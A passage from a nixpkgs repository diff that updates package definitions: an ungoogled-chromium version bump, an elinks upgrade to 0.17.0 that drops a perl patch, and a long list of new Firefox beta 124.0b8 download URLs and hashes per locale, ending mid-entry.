"sha256-eD3KORYYuIH+94+BgL+yFD5lTQFvj/MqPU9DPiHc98s="; - rev = "7367b0df0a0aa25440303998d54045bda73935a5"; + hash = "sha256-UhdDsq9JyP0efGpAaJ/nLp723BbjM6pkFPcAnQbgMKY="; + rev = "f99e015ac35f689cfdbf46e4eb174e5d2da78d8e"; url = "https://gn.googlesource.com/gn"; - version = "2023-11-28"; + version = "2024-01-22"; }; ungoogled-patches = { - hash = "sha256-qwMQoJEJxNjDEdqzSMBTozv8+wl+SbBmzIm/VbiGxKw="; - rev = "121.0.6167.160-1"; + hash = "sha256-7c4VQLotLHmSFKfzzXrlwXKB3XPFpyRTnuATrS9RfEw="; + rev = "122.0.6261.111-1"; }; }; - hash = "sha256-mncN1Np/70r0oMnJ4oV7PU6Ivi5AiRar5O2G8bNdwY8="; - hash_deb_amd64 = "sha256-t/5Mx3P3LaH/6GjwMFP+lVoz7xq7jqAKYxLqlWBnwIE="; - version = "121.0.6167.160"; + hash = "sha256-43h11bx/k78W7fEPZz4LwxNVExwGSSt74mlbiUYf5ig="; + hash_deb_amd64 = "sha256-juwTFdJB1hgAA14aabNIrql5aaP1JWQy7nOsoTF2Vto="; + version = "122.0.6261.111"; }; } diff --git a/pkgs/applications/networking/browsers/elinks/default.nix b/pkgs/applications/networking/browsers/elinks/default.nix index 914bfec7fad4f..35f33c9972948 100644 --- a/pkgs/applications/networking/browsers/elinks/default.nix +++ b/pkgs/applications/networking/browsers/elinks/default.nix @@ -5,7 +5,6 @@ enableGuile ? false, guile ? null , enablePython ? false, python ? null , enablePerl ? (!stdenv.isDarwin) && (stdenv.hostPlatform == stdenv.buildPlatform), perl ? null -, fetchpatch # re-add javascript support when upstream supports modern spidermonkey }: @@ -14,24 +13,15 @@ assert enablePython -> python != null; stdenv.mkDerivation rec { pname = "elinks"; - version = "0.16.1.1"; + version = "0.17.0"; src = fetchFromGitHub { owner = "rkd77"; - repo = "felinks"; + repo = "elinks"; rev = "v${version}"; - sha256 = "sha256-u6QGhfi+uWeIzSUFuYHAH3Xu0Fky0yw2h4NOKgYFLsM="; + hash = "sha256-JeUiMHAqSZxxBe8DplzmzHzsY6KqoBqba0y8GDwaR0Y="; }; - patches = [ - # Fix build bug with perl 5.38.0. Backport of https://github.com/rkd77/elinks/pull/243 by gentoo: - # https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=dfefaa456bd69bc14e3a1c2c6c1b0cc19c6b0869 - (fetchpatch { - url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/www-client/elinks/files/elinks-0.16.1.1-perl-5.38.patch?id=dfefaa456bd69bc14e3a1c2c6c1b0cc19c6b0869"; - hash = "sha256-bHP9bc/l7VEw7oXlkSUQhhuq8rT2QTahh9SM7ZJgK5w="; - }) - ]; - buildInputs = [ ncurses libX11 bzip2 zlib brotli zstd xz openssl libidn tre expat libev @@ -64,8 +54,8 @@ stdenv.mkDerivation rec { ; meta = with lib; { - description = "Full-featured text-mode web browser (package based on the fork felinks)"; - homepage = "https://github.com/rkd77/felinks"; + description = "Full-featured text-mode web browser"; + homepage = "https://github.com/rkd77/elinks"; license = licenses.gpl2; platforms = with platforms; linux ++ darwin; maintainers = with maintainers; [ iblech gebner ]; diff --git a/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix index fcba949283626..3a8a72d986820 100644 --- a/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix +++ b/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix @@ -1,1025 +1,1025 @@ { - version = "119.0b6"; + version = "124.0b8"; sources = [ - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/ach/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/ach/firefox-124.0b8.tar.bz2"; locale = "ach"; arch = "linux-x86_64"; - sha256 = "ab53e56f2114c4fed251117c93e781a8ffe37ca09a78bbdc56ece3f277f745cb"; + sha256 = "498160fe4419c54a020abef6cef36d8dc920740da38c1c7f977220ddcaa13c71"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/af/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/af/firefox-124.0b8.tar.bz2"; locale = "af"; arch = "linux-x86_64"; - sha256 = "5f91af053d41eb6143313069d5a0ac796b5d6cbbe1e5e3d7d0ac543bf39487de"; + sha256 = "7147f1d3c1eac2e0374477ce81ad91ea49de13b5cdefff97730d9077271f692d"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/an/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/an/firefox-124.0b8.tar.bz2"; locale = "an"; arch = "linux-x86_64"; - sha256 = "1d336edaa437b2cbfafcba0d27f51492166299bfea14cfd00f4e7d983924e729"; + sha256 = "61a472e290a57df534892b07aeca02553e756bd44546d809be341cdf95b88b3f"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/ar/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/ar/firefox-124.0b8.tar.bz2"; locale = "ar"; arch = "linux-x86_64"; - sha256 = "bde5b7f115ce1575c5da5b1e6d086568815330e54d14d3eb8010e2aa8a633cde"; + sha256 = "bed77ce354fb1b2e04f0a7731053a89451bd9ee8bbf72b0b5463fd961022b93a"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/ast/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/ast/firefox-124.0b8.tar.bz2"; locale = "ast"; arch = "linux-x86_64"; - sha256 = "0859bffdcf5381b68640401a26960d231675b4534bd9d83884c8f7542ff48205"; + sha256 = "884868af0039befecb7bd6321616d230e3da5d2c35146b85d4cda87e0b537998"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/az/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/az/firefox-124.0b8.tar.bz2"; locale = "az"; arch = "linux-x86_64"; - sha256 = "ca3d38e0315fdb8524524d6ccfafd56ed735307071076e40596d17082d4c9b22"; + sha256 = "aa14276f90ec2c5d8197c9a1b36f114377afbb29ceb07cd0e14176f163451231"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/be/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/be/firefox-124.0b8.tar.bz2"; locale = "be"; arch = "linux-x86_64"; - sha256 = "fb7dfb212e6d24874614771301f5fe45c7a370be1cdea06c18e06237bdd0b58a"; + sha256 = "b8a14208004e37548ba3a59ba00e51a3284fc29650809522c7c2893a2a0439e3"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/bg/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/bg/firefox-124.0b8.tar.bz2"; locale = "bg"; arch = "linux-x86_64"; - sha256 = "30f4f07e61fc50a889f0ed24de875fa2bc4457413b100cfab72c62b5f023718a"; + sha256 = "71022753ddd7673f9e4f4bf60eae881c88f39950312b63d1d502c3b194c1523c"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/bn/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/bn/firefox-124.0b8.tar.bz2"; locale = "bn"; arch = "linux-x86_64"; - sha256 = "58a8f4ea9ac3c34b69892a19a570d12a69074a6011fca7d3fe57485a9f601be8"; + sha256 = "ac2a5c73afcc99b6e158c0f9fb751c672193549591c1d57e572ce3c19ee3cd30"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/br/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/br/firefox-124.0b8.tar.bz2"; locale = "br"; arch = "linux-x86_64"; - sha256 = "e9a45bcebebf39cf37f216ac79002993812912253559404648ea78e4c1fad6ce"; + sha256 = "ccd1d62628b6b8b8a9a5f55d9f8f16dded489177462e699568e6ee0675dd84b9"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/bs/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/bs/firefox-124.0b8.tar.bz2"; locale = "bs"; arch = "linux-x86_64"; - sha256 = "0c224de8786ac18d8b590cba66a7078f90c001b16c02f14907b9bbcf03670104"; + sha256 = "9067c57713ec76d8fb08c8f15b3a6739f67bbaa8ddd1f8a4d61299d696bbe982"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/ca-valencia/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/ca-valencia/firefox-124.0b8.tar.bz2"; locale = "ca-valencia"; arch = "linux-x86_64"; - sha256 = "c5504da29820ad468bcdc3b5d7242eec7d60dbf2435b974a3d96cc51ac8da1e3"; + sha256 = "39b0a40e608a2222643f5488b025ff6bd162fd9a67850e81bad9247314769a21"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/ca/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/ca/firefox-124.0b8.tar.bz2"; locale = "ca"; arch = "linux-x86_64"; - sha256 = "aa75df2625a82f66b797778f69894f32fc605c1cdd432b00efd2540e3b273220"; + sha256 = "0dd73343ca3fe7226ac8fc8c63a1d0575bddba7b3f2ea72b6c17cc8c668c1cba"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/cak/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/cak/firefox-124.0b8.tar.bz2"; locale = "cak"; arch = "linux-x86_64"; - sha256 = "5344d1e38a89c8c90731fed48deb7fcf0b0d18613db86d73f247225f15d8208f"; + sha256 = "d7a5dc04bc88c1a9766c83be9661a89682535506b4836c8e63727e4c54c17e68"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/cs/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/cs/firefox-124.0b8.tar.bz2"; locale = "cs"; arch = "linux-x86_64"; - sha256 = "adab1705be9c7c0ad4b1cd42291b93b8fc27d56afc8f46ca8137b838a2271c0a"; + sha256 = "5eec7445431e54b15c42048a65681df95f50dadf42b4a8b1e4b048c9a28394bf"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/cy/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/cy/firefox-124.0b8.tar.bz2"; locale = "cy"; arch = "linux-x86_64"; - sha256 = "0f27d7cf339372a304a6d87fd1c09fd7d896e04c1f7fcb7505a19040ce08244c"; + sha256 = "ec89add3c34304e68794fee2b4e6ec47941c23b876f8881d70390b930067ff82"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/da/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/da/firefox-124.0b8.tar.bz2"; locale = "da"; arch = "linux-x86_64"; - sha256 = "5db5bee56304d38be35448bfa9d1ed83fc7b033cf09293e74686b908345cb7f3"; + sha256 = "30c3d6c4549da860e21a0e9f2419a5321e1c5081afae520119e276249454cb72"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/de/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/de/firefox-124.0b8.tar.bz2"; locale = "de"; arch = "linux-x86_64"; - sha256 = "0c6e88bb3a8e797e2f3bbbe5bdb06285ba1537ce08c569002839d0aff39ca4a5"; + sha256 = "f4fff260dfb6575a9f4494b31fd3a4eb345b426d3bba42974d2af3b5bf6490e7"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/dsb/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/dsb/firefox-124.0b8.tar.bz2"; locale = "dsb"; arch = "linux-x86_64"; - sha256 = "bfaa67ff178b467386d97d7158ff27d725213d277407c68385bd61b42254774c"; + sha256 = "663c2964382378cf48ae28dcc0dcb6a73a5dcf44f9f154587587c23f1b524bc7"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/el/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/el/firefox-124.0b8.tar.bz2"; locale = "el"; arch = "linux-x86_64"; - sha256 = "8bd5509649f16833d133f4da7ca27df508f2b78bd2f2ee6716691ca32f03426d"; + sha256 = "71077e486e15b87d2dd01e8fb2e29fd8ab3474d9c573f3822e95d3c23bead365"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/en-CA/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/en-CA/firefox-124.0b8.tar.bz2"; locale = "en-CA"; arch = "linux-x86_64"; - sha256 = "dc9598bc78929e48a6903c3dd85c058824ce6249bdc8958b83979a3291f6c078"; + sha256 = "3fb87d5cbc1035dcc5559762fe201ea01b8e8ca3428a4587f0cd96ea055f4be2"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/en-GB/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/en-GB/firefox-124.0b8.tar.bz2"; locale = "en-GB"; arch = "linux-x86_64"; - sha256 = "2d75187cd53f66be8620744ad14b002e3a359d12b5a12efc9c72c337b574057c"; + sha256 = "71df3c7af4c7cce95ab7828bcd2d4d276db28dffb07a9441f5c9e566218c6d9f"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/en-US/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/en-US/firefox-124.0b8.tar.bz2"; locale = "en-US"; arch = "linux-x86_64"; - sha256 = "2640312b24f2938b0251c1cc018d0f85a1b91aaa688638556140ffe7ed5ff682"; + sha256 = "11569530552cbbf07b204540c5827287ff5584044fb4492d236595cfe1d0cd62"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/eo/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/eo/firefox-124.0b8.tar.bz2"; locale = "eo"; arch = "linux-x86_64"; - sha256 = "f52a3ff12f69cf2a7e2443f003ccad1ebf2fcc32303d829c5a4131e067dd99f8"; + sha256 = "c17689fe1daa621071e3e4e748a04f1d272cd208b1a93483a3676eb33928a308"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/es-AR/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/es-AR/firefox-124.0b8.tar.bz2"; locale = "es-AR"; arch = "linux-x86_64"; - sha256 = "40581ea9878db00ccc1e97b46791f7476293024841158127feeb69cb10dca511"; + sha256 = "f4a728f32da094ed1ef73e53f31031d2c73bf65ca712aa95686aa44c8be3a93e"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/es-CL/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/es-CL/firefox-124.0b8.tar.bz2"; locale = "es-CL"; arch = "linux-x86_64"; - sha256 = "22bda55625d59fa7812ad1d81676a7be08e6dc9ef00dd653365d25dbd3914802"; + sha256 = "0c8924fbd8376807a578a9a721d37b4cbe308e1c696f24157e1942fa8478693e"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/es-ES/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/es-ES/firefox-124.0b8.tar.bz2"; locale = "es-ES"; arch = "linux-x86_64"; - sha256 = "4195ebc7f41753c02abffcf12847969853bf169c4f1925cc6d16db88341a8dc9"; + sha256 = "3dd74e6b27b9a12aa2832c99911a60435590d0b17652f30eafc98cabd82be6bf"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/es-MX/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/es-MX/firefox-124.0b8.tar.bz2"; locale = "es-MX"; arch = "linux-x86_64"; - sha256 = "4248baccf81d3376913a415b9154d52171158136af2a7c72e8891f0fc441501e"; + sha256 = "34937a832767f724c2c6d6dbadb3d1d772ae5125316b8f222b77f7fe905b4e8e"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/et/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/et/firefox-124.0b8.tar.bz2"; locale = "et"; arch = "linux-x86_64"; - sha256 = "b6387c5743a550635e9526cf055a7562f259d0117970809b9b11c3ae88a1c08e"; + sha256 = "8c9433785f857c353c4d0b724908054b0406a089c3701614194695aa9de19b7f"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/eu/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/eu/firefox-124.0b8.tar.bz2"; locale = "eu"; arch = "linux-x86_64"; - sha256 = "46a649181d6c97d938ded928be22447d9810a792ce218ff7dddd683a0f5b4eeb"; + sha256 = "0ed38ba2f81759eb894c773b92eec06960746cc40ba22c3dc4fa39f3b05fdfc9"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/fa/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/fa/firefox-124.0b8.tar.bz2"; locale = "fa"; arch = "linux-x86_64"; - sha256 = "a789b8b2c68d2f3fe41c1257ac741d2d3ff55d68011e01eed7b19dce80989d41"; + sha256 = "1f2ee8a943860b90b04fc82b3dc6191721b5e9fa7153c62e5f5b2ce9bc3dbebb"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/ff/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/ff/firefox-124.0b8.tar.bz2"; locale = "ff"; arch = "linux-x86_64"; - sha256 = "7625b0cda8b5d2c5ca673a477d9f69fb90c5a7c15949cb048cdf11a2922e68c4"; + sha256 = "9a140bd2a158ee6e8d45eacbed9543995c294eb41531eb1fbb777b7de9a763bb"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/fi/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/fi/firefox-124.0b8.tar.bz2"; locale = "fi"; arch = "linux-x86_64"; - sha256 = "a871ad53724e11e40eb3d66b21483fd744b2404615f9bcc655c0e7dc8e9883a9"; + sha256 = "fe71f0fa0dd029e7d6c9c2577515788657dbf6ed71706c023b3149224138137e"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/fr/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/fr/firefox-124.0b8.tar.bz2"; locale = "fr"; arch = "linux-x86_64"; - sha256 = "cda3709cc13eaf59ff4657ac5c8f66145092bf59c4daa09392ddd5d9d596584f"; + sha256 = "14dcb1413960dacc86099ac3b6f9659e64b02a8b1d12b4560186ca676a775864"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/fur/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/fur/firefox-124.0b8.tar.bz2"; locale = "fur"; arch = "linux-x86_64"; - sha256 = "9acabfb02291d58f7e99d4e34ed744102b191f3f22dac1a1e3363eb68052ef95"; + sha256 = "c9e91c7d6ebcfbcaa00a5999a6d98b6acb5b80fba3520783fd852bfd3264fcd0"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/fy-NL/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/fy-NL/firefox-124.0b8.tar.bz2"; locale = "fy-NL"; arch = "linux-x86_64"; - sha256 = "a30c0b8888b5feafcadc2ced7e12cbe924f1d1af61c00005b990d46b13da583b"; + sha256 = "df7e4cd7ade845185aef56b2ba8e0922f1875c114128dc1c37c4772be0485f3b"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/ga-IE/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/ga-IE/firefox-124.0b8.tar.bz2"; locale = "ga-IE"; arch = "linux-x86_64"; - sha256 = "002f16c18ed429aa6c09d6ff3767caa6b500a398706a3ba6f4c384416c050643"; + sha256 = "565b7b7786bf35383c6997570fe0b160996d10345e95c2b17647c81eb71dc32f"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/gd/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/gd/firefox-124.0b8.tar.bz2"; locale = "gd"; arch = "linux-x86_64"; - sha256 = "6193316d09dbb8e510b8641499f3f3723a25cc57cdcb009661180663ec19de0e"; + sha256 = "069c60b9665cc35db47d3ce49a69b490071187901a35db65d824eb0a63e2fe47"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/gl/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/gl/firefox-124.0b8.tar.bz2"; locale = "gl"; arch = "linux-x86_64"; - sha256 = "ab142c65d545338e1db668f9e5313bc19fe8260a4010458ac024c4a654c262f6"; + sha256 = "76dbf06e5c48450d733809bd67cd941472436048b3187d1c02f0b1dcc7220824"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/gn/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/gn/firefox-124.0b8.tar.bz2"; locale = "gn"; arch = "linux-x86_64"; - sha256 = "9a9bd45fd1612fadc467adfc4391adb559f0886dc5e5c58e1c9489b756621409"; + sha256 = "bd493ae8649070bbcdd7c8ff426f8aa1e49b989857776f5c1fba3f69f78caabf"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/gu-IN/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/gu-IN/firefox-124.0b8.tar.bz2"; locale = "gu-IN"; arch = "linux-x86_64"; - sha256 = "36e72934f547e0b585d7ecf651173d55244bc1549e2539f2133be75c55b28677"; + sha256 = "848f4f329203608873633f5df338e270f0b1548db32365758df21329b3e54e03"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/he/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/he/firefox-124.0b8.tar.bz2"; locale = "he"; arch = "linux-x86_64"; - sha256 = "16d25845f30fb410d966b4a6f0100d49033a6c7f7fac17bfaee4c59681973011"; + sha256 = "b67ffceb6f9f5827e43749a9bb515e940d3eb350d18f744615c767fd88cdef35"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/hi-IN/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/hi-IN/firefox-124.0b8.tar.bz2"; locale = "hi-IN"; arch = "linux-x86_64"; - sha256 = "baa04788253d2e1bc833295edd0468c73f3628f76f0642c48a5486945c41c743"; + sha256 = "ca1aac0d712b9d7ff94f0ed36ec45069ab77039127fd80267a798c8a94ebe336"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/hr/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/hr/firefox-124.0b8.tar.bz2"; locale = "hr"; arch = "linux-x86_64"; - sha256 = "13e68c8f205f924a6ebba66ff16d79fdfa9cd8914386d7184f5a389af3753c9f"; + sha256 = "ae32e9b27f474d0d6c4a985bd4c9f185dfc73b078b59ae785d086012dfc371a3"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/hsb/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/hsb/firefox-124.0b8.tar.bz2"; locale = "hsb"; arch = "linux-x86_64"; - sha256 = "bd7c988e1aa6458f73f28eb46136600a5df5a382f3d5451c784c0f6e42a3b5a4"; + sha256 = "836ab3333520cad38adac7d05d1d6e02c9cc8a2153854e259475a826ea895c5b"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/hu/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/hu/firefox-124.0b8.tar.bz2"; locale = "hu"; arch = "linux-x86_64"; - sha256 = "0dae4dd735e4b5eb1600515a40c836aef05730a8993f8060d7f8f40f23903ebe"; + sha256 = "88fe5dd32590af165397886c47b41c7055a668dfb1428e55293eb0d13d9dc3e2"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/hy-AM/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/hy-AM/firefox-124.0b8.tar.bz2"; locale = "hy-AM"; arch = "linux-x86_64"; - sha256 = "cbde4751c8c42126f7af27ac45037245ddef38f835496d66675ca1aa0c7c25ce"; + sha256 = "c11cbc9463c07edec709253dfe92f7178cfd65c7bff77744fe9a7314abe1ffd8"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/ia/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/ia/firefox-124.0b8.tar.bz2"; locale = "ia"; arch = "linux-x86_64"; - sha256 = "e5484ffe781d2e71b9ce44830f1318dbccc32f8165f432d501100fb9f78d9334"; + sha256 = "cf4bbf493f30f6438dd9905a51a4610565890d28ffb7fa210cf1ba705b62b937"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/id/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/id/firefox-124.0b8.tar.bz2"; locale = "id"; arch = "linux-x86_64"; - sha256 = "35d1130859de3a82b88a77686f7caa5e8362ac574e6662377f28ff296947008b"; + sha256 = "431b23b18f4368dc7e67eebbb5385ae6083e422106845ea32ab7a505884ca51b"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/is/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/is/firefox-124.0b8.tar.bz2"; locale = "is"; arch = "linux-x86_64"; - sha256 = "eaddbbf9cbbb1d9b006aa7b24ab5ed735e5a0939ebd268423a47ef9f9fdecc37"; + sha256 = "fa7e80a8d2da221b5546cf55fcdcde8f1d90c8dc60d24ded97a9c42042c006a1"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/it/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/it/firefox-124.0b8.tar.bz2"; locale = "it"; arch = "linux-x86_64"; - sha256 = "c2fd4eadc15dea50fce40bfecaacffe930b8292f04ebec2fda8fe6cd094afa9e"; + sha256 = "238183326c82c260a4d052e9ca3191ada9c40eec61ee4728c76f771bab8058c8"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/ja/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/ja/firefox-124.0b8.tar.bz2"; locale = "ja"; arch = "linux-x86_64"; - sha256 = "6755b5e46dbf3b2069d01dc17b9c5ad20ed445a84785d020771f5871198faaf8"; + sha256 = "ee9f7c25f347244dc9070660335fef1eec0ad5e3271e89f6abd98347c58d00ef"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/ka/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/ka/firefox-124.0b8.tar.bz2"; locale = "ka"; arch = "linux-x86_64"; - sha256 = "cc6080cfc1b8d4865dfc5222ad8d2a7dbd3745563b82fbf6edf14647ff832754"; + sha256 = "a4dd57e5e58915fedc95afe8b108c590ee5edfdb12dc7d13b5427b376c85887c"; } - { url = 